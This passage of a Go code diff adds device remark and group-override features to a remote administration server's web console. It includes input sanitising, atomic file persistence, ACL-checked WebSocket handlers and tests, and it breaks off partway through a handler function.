|
||||
|
||||
// Note returns the remark of deviceID, or "" when it has none.
|
||||
func (n *DeviceNotes) Note(deviceID string) string {
|
||||
if n == nil {
|
||||
return ""
|
||||
}
|
||||
n.mu.RLock()
|
||||
defer n.mu.RUnlock()
|
||||
return n.entries[deviceID].Note
|
||||
}
|
||||
|
||||
// Notes returns a copy of the deviceID -> remark map. Callers that look up
|
||||
// many devices in one pass (MCP host listings) take this snapshot instead of a
|
||||
// read lock per device, so a save's fsync cannot stall the whole listing.
|
||||
func (n *DeviceNotes) Notes() map[string]string {
|
||||
if n == nil {
|
||||
return map[string]string{}
|
||||
}
|
||||
n.mu.RLock()
|
||||
defer n.mu.RUnlock()
|
||||
out := make(map[string]string, len(n.entries))
|
||||
for id, e := range n.entries {
|
||||
out[id] = e.Note
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Snapshot returns a copy of the table (for logs and tests).
|
||||
func (n *DeviceNotes) Snapshot() map[string]DeviceNoteEntry {
|
||||
if n == nil {
|
||||
return map[string]DeviceNoteEntry{}
|
||||
}
|
||||
n.mu.RLock()
|
||||
defer n.mu.RUnlock()
|
||||
out := make(map[string]DeviceNoteEntry, len(n.entries))
|
||||
for id, e := range n.entries {
|
||||
out[id] = e
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Set stores note for deviceID. An empty note clears the remark. Control
|
||||
// characters (line breaks etc.) are folded to spaces and the result is
|
||||
// trimmed; more than MaxRemarkRunes runes is rejected. On persistence failure
|
||||
// the in-memory table is rolled back so it never claims a remark that would
|
||||
// not survive a restart.
|
||||
func (n *DeviceNotes) Set(deviceID, note, actor string) error {
|
||||
deviceID = strings.TrimSpace(deviceID)
|
||||
if deviceID == "" {
|
||||
return fmt.Errorf("empty device id")
|
||||
}
|
||||
note = sanitizeLabel(note)
|
||||
if utf8.RuneCountInString(note) > MaxRemarkRunes {
|
||||
return fmt.Errorf("remark is too long (max %d characters)", MaxRemarkRunes)
|
||||
}
|
||||
|
||||
n.mu.Lock()
|
||||
defer n.mu.Unlock()
|
||||
if n.loadErr != nil {
|
||||
return fmt.Errorf("device remarks unavailable: %w", n.loadErr)
|
||||
}
|
||||
prev, had := n.entries[deviceID]
|
||||
if note == "" {
|
||||
if !had {
|
||||
return nil
|
||||
}
|
||||
delete(n.entries, deviceID)
|
||||
} else {
|
||||
n.entries[deviceID] = DeviceNoteEntry{Note: note, UpdatedAt: time.Now().UTC(), UpdatedBy: actor}
|
||||
}
|
||||
if err := n.saveLocked(); err != nil {
|
||||
if had {
|
||||
n.entries[deviceID] = prev
|
||||
} else {
|
||||
delete(n.entries, deviceID)
|
||||
}
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Remove drops the remark of one device (idempotent). Called when the device
|
||||
// record is deleted so a future client reusing the same ID cannot inherit the
|
||||
// label.
|
||||
func (n *DeviceNotes) Remove(deviceID string) error {
|
||||
if n == nil {
|
||||
return nil
|
||||
}
|
||||
deviceID = strings.TrimSpace(deviceID)
|
||||
if deviceID == "" {
|
||||
return nil
|
||||
}
|
||||
n.mu.Lock()
|
||||
defer n.mu.Unlock()
|
||||
if n.loadErr != nil {
|
||||
return fmt.Errorf("device remarks unavailable: %w", n.loadErr)
|
||||
}
|
||||
prev, ok := n.entries[deviceID]
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
delete(n.entries, deviceID)
|
||||
if err := n.saveLocked(); err != nil {
|
||||
n.entries[deviceID] = prev
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// sanitizeLabel folds line breaks and other control characters (including
|
||||
// bidi/zero-width formatting runes, which could reorder the card title) to
|
||||
// spaces so the label always renders on one line, then trims both ends.
|
||||
// Shared by the per-device remark and group tables.
|
||||
func sanitizeLabel(s string) string {
|
||||
s = strings.Map(func(r rune) rune {
|
||||
if unicode.IsControl(r) || unicode.Is(unicode.Cf, r) {
|
||||
return ' '
|
||||
}
|
||||
return r
|
||||
}, s)
|
||||
return strings.TrimSpace(s)
|
||||
}
|
||||
|
||||
// capRunes truncates s to max runes. Used on values read back from disk, where
|
||||
// an older/hand-edited file may exceed the current limit. Trims again after the
|
||||
// cut so the stored label cannot end in an invisible space.
|
||||
func capRunes(s string, max int) string {
|
||||
if utf8.RuneCountInString(s) <= max {
|
||||
return s
|
||||
}
|
||||
return strings.TrimSpace(string([]rune(s)[:max]))
|
||||
}
|
||||
|
||||
// saveLocked writes the table via a temp file + rename. Caller holds n.mu.
|
||||
func (n *DeviceNotes) saveLocked() error {
|
||||
if n.path == "" {
|
||||
return nil
|
||||
}
|
||||
f := deviceNotesFile{Version: 1, Devices: n.entries}
|
||||
data, err := json.MarshalIndent(f, "", " ")
|
||||
if err != nil {
|
||||
return fmt.Errorf("encode device notes: %w", err)
|
||||
}
|
||||
dir := filepath.Dir(n.path)
|
||||
if dir == "" {
|
||||
dir = "."
|
||||
}
|
||||
tmp, err := os.CreateTemp(dir, ".device_notes-*.tmp")
|
||||
if err != nil {
|
||||
return fmt.Errorf("create temp notes: %w", err)
|
||||
}
|
||||
tmpName := tmp.Name()
|
||||
defer func() { _ = os.Remove(tmpName) }() // no-op after a successful rename
|
||||
|
||||
if _, err := tmp.Write(data); err != nil {
|
||||
_ = tmp.Close()
|
||||
return fmt.Errorf("write temp notes: %w", err)
|
||||
}
|
||||
if err := tmp.Sync(); err != nil {
|
||||
_ = tmp.Close()
|
||||
return fmt.Errorf("sync temp notes: %w", err)
|
||||
}
|
||||
if err := tmp.Close(); err != nil {
|
||||
return fmt.Errorf("close temp notes: %w", err)
|
||||
}
|
||||
if err := os.Rename(tmpName, n.path); err != nil {
|
||||
return fmt.Errorf("rename notes: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,281 @@
|
||||
package web
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
// TestDeviceNotesSetPersistClear covers the store on its own: sanitize, save,
|
||||
// reload, clear, and the rune cap.
|
||||
func TestDeviceNotesSetPersistClear(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "device_notes.json")
|
||||
notes := NewDeviceNotes(path)
|
||||
|
||||
// Control characters are folded to spaces and the ends trimmed, so the
|
||||
// label always renders on one line.
|
||||
if err := notes.Set("dev-1", " Reception\nPC\t", "admin"); err != nil {
|
||||
t.Fatalf("Set: %v", err)
|
||||
}
|
||||
if got := notes.Note("dev-1"); got != "Reception PC" {
|
||||
t.Fatalf("Note = %q, want %q", got, "Reception PC")
|
||||
}
|
||||
|
||||
// The table survives a restart.
|
||||
reloaded := NewDeviceNotes(path)
|
||||
if err := reloaded.Load(); err != nil {
|
||||
t.Fatalf("Load: %v", err)
|
||||
}
|
||||
if got := reloaded.Note("dev-1"); got != "Reception PC" {
|
||||
t.Fatalf("reloaded Note = %q, want %q", got, "Reception PC")
|
||||
}
|
||||
|
||||
// More than MaxRemarkRunes runes is rejected without touching the table.
|
||||
tooLong := strings.Repeat("x", MaxRemarkRunes+1)
|
||||
if err := notes.Set("dev-1", tooLong, "admin"); err == nil {
|
||||
t.Fatal("Set accepted an over-long remark")
|
||||
}
|
||||
if got := notes.Note("dev-1"); got != "Reception PC" {
|
||||
t.Fatalf("rejected Set changed the note to %q", got)
|
||||
}
|
||||
if err := notes.Set("dev-1", strings.Repeat("y", MaxRemarkRunes), "admin"); err != nil {
|
||||
t.Fatalf("Set at the limit: %v", err)
|
||||
}
|
||||
|
||||
// An empty remark clears the entry, and the clearing is persisted.
|
||||
if err := notes.Set("dev-1", " ", "admin"); err != nil {
|
||||
t.Fatalf("clear: %v", err)
|
||||
}
|
||||
if got := notes.Note("dev-1"); got != "" {
|
||||
t.Fatalf("Note after clear = %q, want empty", got)
|
||||
}
|
||||
reloaded = NewDeviceNotes(path)
|
||||
if err := reloaded.Load(); err != nil {
|
||||
t.Fatalf("Load after clear: %v", err)
|
||||
}
|
||||
if got := reloaded.Note("dev-1"); got != "" {
|
||||
t.Fatalf("reloaded Note after clear = %q, want empty", got)
|
||||
}
|
||||
|
||||
// Remove is idempotent and drops the entry.
|
||||
if err := notes.Set("dev-2", "Keep", "admin"); err != nil {
|
||||
t.Fatalf("Set dev-2: %v", err)
|
||||
}
|
||||
if err := notes.Remove("dev-2"); err != nil {
|
||||
t.Fatalf("Remove: %v", err)
|
||||
}
|
||||
if err := notes.Remove("dev-2"); err != nil {
|
||||
t.Fatalf("Remove twice: %v", err)
|
||||
}
|
||||
if got := notes.Note("dev-2"); got != "" {
|
||||
t.Fatalf("Note after Remove = %q, want empty", got)
|
||||
}
|
||||
|
||||
// Notes() is the bulk snapshot callers take per listing; it must be a
|
||||
// copy, not a live view of the table.
|
||||
if err := notes.Set("dev-3", "Bulk", "admin"); err != nil {
|
||||
t.Fatalf("Set dev-3: %v", err)
|
||||
}
|
||||
snap := notes.Notes()
|
||||
if snap["dev-3"] != "Bulk" {
|
||||
t.Fatalf("Notes()[dev-3] = %q, want %q", snap["dev-3"], "Bulk")
|
||||
}
|
||||
snap["dev-3"] = "mutated"
|
||||
if got := notes.Note("dev-3"); got != "Bulk" {
|
||||
t.Fatalf("mutating the snapshot changed the store: %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSetDeviceRemarkHandler exercises the WebSocket path: the superadmin
|
||||
// sets a remark, device_list reports it (plus the remarkEdit capability), and
|
||||
// clearing removes it.
|
||||
func TestSetDeviceRemarkHandler(t *testing.T) {
|
||||
wh, _, _ := aclTestHub(t)
|
||||
path := filepath.Join(t.TempDir(), "device_notes.json")
|
||||
notes := NewDeviceNotes(path)
|
||||
wh.withDeviceNotes(notes)
|
||||
|
||||
c, tok := aclTestClient(t, wh, "admin", "admin")
|
||||
|
||||
send := func(id, remark string) map[string]any {
|
||||
raw, err := json.Marshal(map[string]any{"token": tok, "id": id, "remark": remark})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal: %v", err)
|
||||
}
|
||||
wh.dispatch(c, "set_device_remark", raw)
|
||||
return readUntilCmd(t, c, "set_device_remark_result")
|
||||
}
|
||||
|
||||
res := send("pub", " Reception\nPC ")
|
||||
if res["ok"] != true {
|
||||
t.Fatalf("set remark failed: %v", res)
|
||||
}
|
||||
if res["remark"] != "Reception PC" {
|
||||
t.Fatalf("reply remark = %v, want %q", res["remark"], "Reception PC")
|
||||
}
|
||||
if got := notes.Note("pub"); got != "Reception PC" {
|
||||
t.Fatalf("stored remark = %q", got)
|
||||
}
|
||||
|
||||
// device_list carries the label and the capability the menu keys off.
|
||||
rawList, _ := json.Marshal(map[string]any{"token": tok})
|
||||
wh.dispatch(c, "get_devices", rawList)
|
||||
list := readUntilCmd(t, c, "device_list")
|
||||
if list["remarkEdit"] != true {
|
||||
t.Fatalf("device_list remarkEdit = %v, want true", list["remarkEdit"])
|
||||
}
|
||||
items, _ := list["devices"].([]any)
|
||||
found := false
|
||||
for _, it := range items {
|
||||
m, _ := it.(map[string]any)
|
||||
if m["id"] == "pub" {
|
||||
found = true
|
||||
if m["remark"] != "Reception PC" {
|
||||
t.Fatalf("device_list remark = %v, want %q", m["remark"], "Reception PC")
|
||||
}
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatal("device_list did not include the public device")
|
||||
}
|
||||
|
||||
// Empty remark clears it.
|
||||
res = send("pub", "")
|
||||
if res["ok"] != true {
|
||||
t.Fatalf("clear remark failed: %v", res)
|
||||
}
|
||||
if got := notes.Note("pub"); got != "" {
|
||||
t.Fatalf("remark after clear = %q", got)
|
||||
}
|
||||
|
||||
// A payload with a non-string remark must be rejected, not treated as an
|
||||
// empty remark (which would clear the label).
|
||||
if err := notes.Set("pub", "Keep", "admin"); err != nil {
|
||||
t.Fatalf("Set before invalid payload: %v", err)
|
||||
}
|
||||
rawBad, _ := json.Marshal(map[string]any{"token": tok, "id": "pub", "remark": 123})
|
||||
wh.dispatch(c, "set_device_remark", rawBad)
|
||||
bad := readUntilCmd(t, c, "set_device_remark_result")
|
||||
if bad["ok"] == true {
|
||||
t.Fatalf("invalid payload accepted: %v", bad)
|
||||
}
|
||||
if got := notes.Note("pub"); got != "Keep" {
|
||||
t.Fatalf("invalid payload changed the remark to %q", got)
|
||||
}
|
||||
|
||||
// A stale card (device deleted between render and save) must not create an
|
||||
// orphan remark.
|
||||
rawGhost, _ := json.Marshal(map[string]any{"token": tok, "id": "ghost-id", "remark": "x"})
|
||||
wh.dispatch(c, "set_device_remark", rawGhost)
|
||||
if ghost := readUntilCmd(t, c, "set_device_remark_result"); ghost["ok"] == true {
|
||||
t.Fatalf("remark accepted for an unknown device: %v", ghost)
|
||||
}
|
||||
}
|
||||
|
||||
// TestDeviceNotesBadFileRefusesWrites: a file that cannot be parsed must not
|
||||
// be replaced by the first save (that would destroy every remark in it).
|
||||
func TestDeviceNotesBadFileRefusesWrites(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
path := filepath.Join(dir, "device_notes.json")
|
||||
bad := []byte("{not json")
|
||||
if err := os.WriteFile(path, bad, 0644); err != nil {
|
||||
t.Fatalf("seed: %v", err)
|
||||
}
|
||||
notes := NewDeviceNotes(path)
|
||||
if err := notes.Load(); err == nil {
|
||||
t.Fatal("Load accepted a malformed file")
|
||||
}
|
||||
if err := notes.Set("dev-1", "x", "admin"); err == nil {
|
||||
t.Fatal("Set wrote over a file that failed to load")
|
||||
}
|
||||
if err := notes.Remove("dev-1"); err == nil {
|
||||
t.Fatal("Remove wrote over a file that failed to load")
|
||||
}
|
||||
if got, _ := os.ReadFile(path); string(got) != string(bad) {
|
||||
t.Fatalf("original file was modified: %q", got)
|
||||
}
|
||||
|
||||
// A newer on-disk version is refused the same way.
|
||||
future, err := json.Marshal(deviceNotesFile{Version: deviceNotesFileVersion + 1,
|
||||
Devices: map[string]DeviceNoteEntry{"dev-1": {Note: "x"}}})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal future file: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(path, future, 0644); err != nil {
|
||||
t.Fatalf("seed future: %v", err)
|
||||
}
|
||||
futureNotes := NewDeviceNotes(path)
|
||||
if err := futureNotes.Load(); err == nil {
|
||||
t.Fatal("Load accepted a newer file version")
|
||||
}
|
||||
if err := futureNotes.Set("dev-1", "y", "admin"); err == nil {
|
||||
t.Fatal("Set wrote over a newer file version")
|
||||
}
|
||||
if got, _ := os.ReadFile(path); string(got) != string(future) {
|
||||
t.Fatal("newer file was modified")
|
||||
}
|
||||
}
|
||||
|
||||
// TestDeviceNotesLoadAppliesInvariants: values read back from disk go through
|
||||
// the same sanitize + rune cap as Set, so a restored file cannot put a
|
||||
// multi-line or over-long label on a card.
|
||||
func TestDeviceNotesLoadAppliesInvariants(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "device_notes.json")
|
||||
long := "Reception\nPC " + strings.Repeat("x", MaxRemarkRunes)
|
||||
data, err := json.Marshal(deviceNotesFile{Version: deviceNotesFileVersion,
|
||||
Devices: map[string]DeviceNoteEntry{"dev-1": {Note: long}}})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(path, data, 0644); err != nil {
|
||||
t.Fatalf("seed: %v", err)
|
||||
}
|
||||
notes := NewDeviceNotes(path)
|
||||
if err := notes.Load(); err != nil {
|
||||
t.Fatalf("Load: %v", err)
|
||||
}
|
||||
got := notes.Note("dev-1")
|
||||
if strings.ContainsAny(got, "\r\n\t") {
|
||||
t.Fatalf("loaded remark kept control characters: %q", got)
|
||||
}
|
||||
if n := utf8.RuneCountInString(got); n != MaxRemarkRunes {
|
||||
t.Fatalf("loaded remark has %d runes, want %d", n, MaxRemarkRunes)
|
||||
}
|
||||
if !strings.HasPrefix(got, "Reception PC ") {
|
||||
t.Fatalf("loaded remark lost its prefix: %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSetDeviceRemarkPermissions: viewers cannot edit, and an admin that the
|
||||
// ACL does not let see a private device cannot edit it either.
|
||||
func TestSetDeviceRemarkPermissions(t *testing.T) {
|
||||
wh, _, _ := aclTestHub(t)
|
||||
wh.withDeviceNotes(NewDeviceNotes(""))
|
||||
|
||||
attempt := func(c *wsClient, tok, id string) map[string]any {
|
||||
raw, _ := json.Marshal(map[string]any{"token": tok, "id": id, "remark": "x"})
|
||||
wh.dispatch(c, "set_device_remark", raw)
|
||||
return readUntilCmd(t, c, "set_device_remark_result")
|
||||
}
|
||||
|
||||
cv, tokv := aclTestClient(t, wh, "viewer1", "viewer")
|
||||
if res := attempt(cv, tokv, "pub"); res["ok"] == true {
|
||||
t.Fatal("viewer was allowed to edit a remark")
|
||||
}
|
||||
|
||||
// a-dev is bound to a@corp.com; another admin cannot see it, so the server
|
||||
// must refuse to label it as well.
|
||||
ca, toka := aclTestClient(t, wh, "other-admin", "admin")
|
||||
if res := attempt(ca, toka, "a-dev"); res["ok"] == true {
|
||||
t.Fatal("admin without device access was allowed to edit a remark")
|
||||
}
|
||||
|
||||
// The superadmin can label any device.
|
||||
cs, toks := aclTestClient(t, wh, "admin", "admin")
|
||||
if res := attempt(cs, toks, "a-dev"); res["ok"] != true {
|
||||
t.Fatalf("superadmin was refused: %v", res)
|
||||
}
|
||||
}
|
||||
@@ -33,6 +33,8 @@ type Server struct {
|
||||
auth *wsauth.Authenticator
|
||||
history *devicehistory.Store // nil → no offline devices
|
||||
deviceACL *DeviceACL // nil → no per-device owner filtering
|
||||
deviceNotes *DeviceNotes // nil → no "edit remark" entry in the UI
|
||||
deviceGroups *DeviceGroups // nil → no "edit group" entry in the UI
|
||||
ws *wsHub
|
||||
allowedOrigins []string // for WS Origin allowlist; empty = same-origin only
|
||||
loginIPLimit *wsauth.RateLimiter
|
||||
@@ -96,6 +98,15 @@ type Config struct {
|
||||
// behaviour: every authenticated session sees every device). The shipped
|
||||
// server always wires one; tests may omit it.
|
||||
DeviceACL *DeviceACL
|
||||
// DeviceNotes is the per-device remark table rendered on the card as
|
||||
// "hostname (remark)". nil disables the "edit remark" menu entry: the
|
||||
// device_list reply reports remarkEdit only when this is wired, so the
|
||||
// shared page hides the action on a backend that does not implement it
|
||||
// (the MFC server).
|
||||
DeviceNotes *DeviceNotes
|
||||
// DeviceGroups is the per-device group override table. nil disables the
|
||||
// "edit group" menu entry the same way (device_list reports groupEdit).
|
||||
DeviceGroups *DeviceGroups
|
||||
// TransferTarget ("host:port") and TransferDays pre-fill the web UI's
|
||||
// "transfer host" dialog. Reporting them is also what tells the shared
|
||||
// page that this backend implements COMMAND_ASSIGN_MASTER — the MFC server
|
||||
@@ -138,6 +149,8 @@ func (s *Server) WithConfig(cfg Config) *Server {
|
||||
s.brandName = resolveBrandName(cfg.BrandName, s.basePath)
|
||||
s.sso = cfg.SSO
|
||||
s.deviceACL = cfg.DeviceACL
|
||||
s.deviceNotes = cfg.DeviceNotes
|
||||
s.deviceGroups = cfg.DeviceGroups
|
||||
s.transferTarget = cfg.TransferTarget
|
||||
s.transferDays = cfg.TransferDays
|
||||
s.transferTransport = cfg.TransferTransport
|
||||
@@ -166,6 +179,8 @@ func (s *Server) Start() error {
|
||||
withLoginRateLimiters(s.loginIPLimit, s.loginUserLimit).
|
||||
withTrustForwardedFor(s.trustForwardedFor).
|
||||
withDeviceACL(s.deviceACL).
|
||||
withDeviceNotes(s.deviceNotes).
|
||||
withDeviceGroups(s.deviceGroups).
|
||||
withTransferDefaults(s.transferTarget, s.transferDays, s.transferTransport)
|
||||
|
||||
mux := http.NewServeMux()
|
||||
|
||||
@@ -161,6 +161,8 @@ type wsHub struct {
|
||||
devices *hub.Hub
|
||||
history *devicehistory.Store // nil → device_list stays online-only
|
||||
acl *DeviceACL // nil → every device is public (tests/embedders)
|
||||
notes *DeviceNotes // nil → no "edit remark" entry (MFC backend)
|
||||
groups *DeviceGroups // nil → no "edit group" entry (MFC backend)
|
||||
log *logger.Logger
|
||||
|
||||
mu sync.RWMutex
|
||||
@@ -237,6 +239,24 @@ func (h *wsHub) withDeviceACL(acl *DeviceACL) *wsHub {
|
||||
return h
|
||||
}
|
||||
|
||||
// withDeviceNotes installs the per-device remark table. A nil table disables
|
||||
// "edit remark": its presence is what the device_list reply reports as
|
||||
// remarkEdit, so the shared page only offers the menu entry on a backend that
|
||||
// implements it (the MFC server does not).
|
||||
func (h *wsHub) withDeviceNotes(notes *DeviceNotes) *wsHub {
|
||||
h.notes = notes
|
||||
return h
|
||||
}
|
||||
|
||||
// withDeviceGroups installs the per-device group override table. A nil table
|
||||
// disables "edit group": its presence is what the device_list reply reports as
|
||||
// groupEdit, so the shared page only offers the menu entry on a backend that
|
||||
// implements it (the MFC server does not).
|
||||
func (h *wsHub) withDeviceGroups(groups *DeviceGroups) *wsHub {
|
||||
h.groups = groups
|
||||
return h
|
||||
}
|
||||
|
||||
// withTransferDefaults installs the pre-filled target/days and the link type
|
||||
// (protocol.TransferTransport*) for the web UI's "transfer host" dialog. An
|
||||
// empty target still enables the feature: the operator types the address in
|
||||
|
||||
@@ -8,6 +8,7 @@ import (
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/yuanyuanxiang/SimpleRemoter/server/go/hub"
|
||||
"github.com/yuanyuanxiang/SimpleRemoter/server/go/protocol"
|
||||
@@ -103,6 +104,10 @@ func (h *wsHub) dispatch(c *wsClient, cmd string, raw []byte) {
|
||||
h.handleBindDevice(c, raw)
|
||||
case "unbind_device":
|
||||
h.handleUnbindDevice(c, raw)
|
||||
case "set_device_remark":
|
||||
h.handleSetDeviceRemark(c, raw)
|
||||
case "set_device_group":
|
||||
h.handleSetDeviceGroup(c, raw)
|
||||
case "get_groups":
|
||||
h.handleGetGroups(c, raw)
|
||||
case "query_audit":
|
||||
@@ -121,6 +126,16 @@ func (h *wsHub) dispatch(c *wsClient, cmd string, raw []byte) {
|
||||
}
|
||||
}
|
||||
|
||||
// deviceExists reports whether id is online or has a history record. Handlers
|
||||
// that write per-device side tables use it so a stale card (the device was
|
||||
// deleted between render and save) cannot create an orphan entry.
|
||||
func (h *wsHub) deviceExists(id string) bool {
|
||||
if h.devices.IsOnline(id) {
|
||||
return true
|
||||
}
|
||||
return h.history != nil && h.history.Has(id)
|
||||
}
|
||||
|
||||
// requireAdmin combines token validation with a role=="admin" check. The
|
||||
// reply on failure has the standard `{cmd, ok:false, msg}` shape so the
|
||||
// front-end's generic toast handler can surface the reason.
|
||||
@@ -800,6 +815,12 @@ func (h *wsHub) handleGetDevices(c *wsClient, raw []byte) {
|
||||
"target": h.transferTarget,
|
||||
"days": h.transferDays,
|
||||
},
|
||||
// Same convention for "edit remark": only a backend that wires a
|
||||
// remark table reports it, so the shared page hides the menu entry
|
||||
// on the MFC server.
|
||||
"remarkEdit": h.notes != nil,
|
||||
// ... and for "edit group", which only the Go server implements.
|
||||
"groupEdit": h.groups != nil,
|
||||
}))
|
||||
}
|
||||
|
||||
@@ -809,6 +830,13 @@ func (h *wsHub) handleGetDevices(c *wsClient, raw []byte) {
|
||||
type deviceListItem struct {
|
||||
hub.DeviceInfo
|
||||
Owner string `json:"owner,omitempty"`
|
||||
// Remark is the operator's label for this host, rendered as
|
||||
// "hostname (remark)" on the card. Set by the Go web console only.
|
||||
Remark string `json:"remark,omitempty"`
|
||||
// GroupOverride marks Group as a web-console override rather than the
|
||||
// group the host reported, so the edit dialog can prefill without turning
|
||||
// the reported value into a permanent override.
|
||||
GroupOverride bool `json:"groupOverride,omitempty"`
|
||||
// TransferTo / TransferUntil carry the "handed over to another master"
|
||||
// marker so the card can say where the host went and how long it stays
|
||||
// there. Absent for a host that was never transferred.
|
||||
@@ -821,6 +849,17 @@ type deviceListItem struct {
|
||||
// is either public or owned by the caller, so the field adds nothing.
|
||||
func (h *wsHub) listVisibleDevices(c *wsClient) []deviceListItem {
|
||||
all := h.listDevicesWithOffline()
|
||||
// One snapshot instead of a read lock per device: Set holds the write
|
||||
// lock across the temp-file fsync + rename, and a slow disk must not
|
||||
// block every console's device list.
|
||||
var remarks map[string]DeviceNoteEntry
|
||||
if h.notes != nil {
|
||||
remarks = h.notes.Snapshot()
|
||||
}
|
||||
var groups map[string]string
|
||||
if h.groups != nil {
|
||||
groups = h.groups.Groups()
|
||||
}
|
||||
out := make([]deviceListItem, 0, len(all))
|
||||
for _, d := range all {
|
||||
if !h.canAccessDevice(c, d.ID) {
|
||||
@@ -831,6 +870,15 @@ func (h *wsHub) listVisibleDevices(c *wsClient) []deviceListItem {
|
||||
owner = h.acl.Owner(d.ID)
|
||||
}
|
||||
item := deviceListItem{DeviceInfo: d, Owner: owner}
|
||||
if remarks != nil {
|
||||
item.Remark = remarks[d.ID].Note
|
||||
}
|
||||
// A web-console group override wins over the group the host reported
|
||||
// at login (and over the group stored in the offline history record).
|
||||
if g := groups[d.ID]; g != "" {
|
||||
item.DeviceInfo.Group = g
|
||||
item.GroupOverride = true
|
||||
}
|
||||
if h.history != nil {
|
||||
if target, until, ok := h.history.Transfer(d.ID); ok {
|
||||
item.TransferTo, item.TransferUntil = target, until
|
||||
@@ -1281,6 +1329,8 @@ func (h *wsHub) handleDeleteDevice(c *wsClient, raw []byte) {
|
||||
// The device is gone; its binding must not survive a later
|
||||
// client that happens to reuse the same ID.
|
||||
h.dropDeviceBinding(in.ID)
|
||||
h.dropDeviceNote(in.ID)
|
||||
h.dropDeviceGroup(in.ID)
|
||||
h.audit(c, false, auditDeviceAdmin, map[string]any{
|
||||
"device_id": in.ID,
|
||||
"mode": "uninstall",
|
||||
@@ -1322,6 +1372,8 @@ func (h *wsHub) handleDeleteDevice(c *wsClient, raw []byte) {
|
||||
return
|
||||
}
|
||||
h.dropDeviceBinding(in.ID)
|
||||
h.dropDeviceNote(in.ID)
|
||||
h.dropDeviceGroup(in.ID)
|
||||
h.audit(c, false, auditDeviceAdmin, map[string]any{
|
||||
"device_id": in.ID,
|
||||
"mode": "removed",
|
||||
@@ -1573,16 +1625,21 @@ func (h *wsHub) handleListUsers(c *wsClient, raw []byte) {
|
||||
}))
|
||||
}
|
||||
|
||||
// handleGetGroups returns the deduplicated set of group labels currently
|
||||
// observed on online devices, plus a synthetic "default" entry that the
|
||||
// admin UI uses for ungrouped devices. Admin-only — non-admins don't get
|
||||
// to enumerate the device fleet's groups. Matches the contract of
|
||||
// CWebService::HandleGetGroups (WebService.cpp:1130).
|
||||
// handleGetGroups returns the deduplicated set of group labels the admin UI
|
||||
// can offer: Web-console overrides (including groups that exist only on
|
||||
// offline records) plus the groups online devices report, and a synthetic
|
||||
// "default" entry for ungrouped devices. A device whose group is overridden
|
||||
// contributes only the override, never its stale reported group. Admin-only —
|
||||
// non-admins don't get to enumerate the device fleet's groups.
|
||||
func (h *wsHub) handleGetGroups(c *wsClient, raw []byte) {
|
||||
const replyCmd = "groups"
|
||||
if !h.requireAdmin(c, raw, replyCmd) {
|
||||
return
|
||||
}
|
||||
var overrides map[string]string
|
||||
if h.groups != nil {
|
||||
overrides = h.groups.Groups()
|
||||
}
|
||||
seen := map[string]struct{}{"default": {}}
|
||||
for _, d := range h.devices.ListDevices() {
|
||||
// Group names are device metadata: do not reveal groups that only
|
||||
@@ -1590,12 +1647,23 @@ func (h *wsHub) handleGetGroups(c *wsClient, raw []byte) {
|
||||
if !h.canAccessDevice(c, d.ID) {
|
||||
continue
|
||||
}
|
||||
if overrides[d.ID] != "" {
|
||||
continue // the override loop below adds the effective group
|
||||
}
|
||||
g := d.Group
|
||||
if g == "" {
|
||||
g = "default"
|
||||
}
|
||||
seen[g] = struct{}{}
|
||||
}
|
||||
// Web-console overrides define groups too, including groups that only
|
||||
// exist on offline records; the per-device access check still applies.
|
||||
for id, g := range overrides {
|
||||
if g == "" || !h.canAccessDevice(c, id) {
|
||||
continue
|
||||
}
|
||||
seen[g] = struct{}{}
|
||||
}
|
||||
groups := make([]string, 0, len(seen))
|
||||
for g := range seen {
|
||||
groups = append(groups, g)
|
||||
@@ -1716,6 +1784,146 @@ func (h *wsHub) handleUnbindDevice(c *wsClient, raw []byte) {
|
||||
c.queue(mustJSON(map[string]any{"cmd": replyCmd, "ok": true, "count": len(ids)}))
|
||||
}
|
||||
|
||||
// handleSetDeviceRemark stores the free-text label shown on the device card
|
||||
// ("hostname (remark)"). Admin role only, and only for a device the caller can
|
||||
// access: the ACL keeps a private device out of other admins' cards, and the
|
||||
// server enforces the same rule so a hand-crafted request cannot label it
|
||||
// either. An empty remark clears the label.
|
||||
func (h *wsHub) handleSetDeviceRemark(c *wsClient, raw []byte) {
|
||||
const replyCmd = "set_device_remark_result"
|
||||
if !h.requireAdmin(c, raw, replyCmd) {
|
||||
return
|
||||
}
|
||||
var in struct {
|
||||
ID string `json:"id"`
|
||||
Remark string `json:"remark"`
|
||||
}
|
||||
id := ""
|
||||
fail := func(msg, reason string) {
|
||||
h.audit(c, true, auditDeviceRemark, map[string]any{
|
||||
"device_id": id,
|
||||
"ok": false,
|
||||
"reason": reason,
|
||||
"error": msg,
|
||||
})
|
||||
// id lets the page drop a late reply meant for a dialog it has since
|
||||
// closed and replaced with another device's.
|
||||
c.queue(mustJSON(map[string]any{"cmd": replyCmd, "ok": false, "id": id, "msg": msg}))
|
||||
}
|
||||
// An unparsable payload (e.g. a non-string remark) must be rejected, not
|
||||
// treated as an empty remark: empty clears the label.
|
||||
if err := json.Unmarshal(raw, &in); err != nil {
|
||||
fail("Invalid request", "invalid_request")
|
||||
return
|
||||
}
|
||||
id = strings.TrimSpace(in.ID)
|
||||
if id == "" {
|
||||
fail("Invalid device id", "invalid_id")
|
||||
return
|
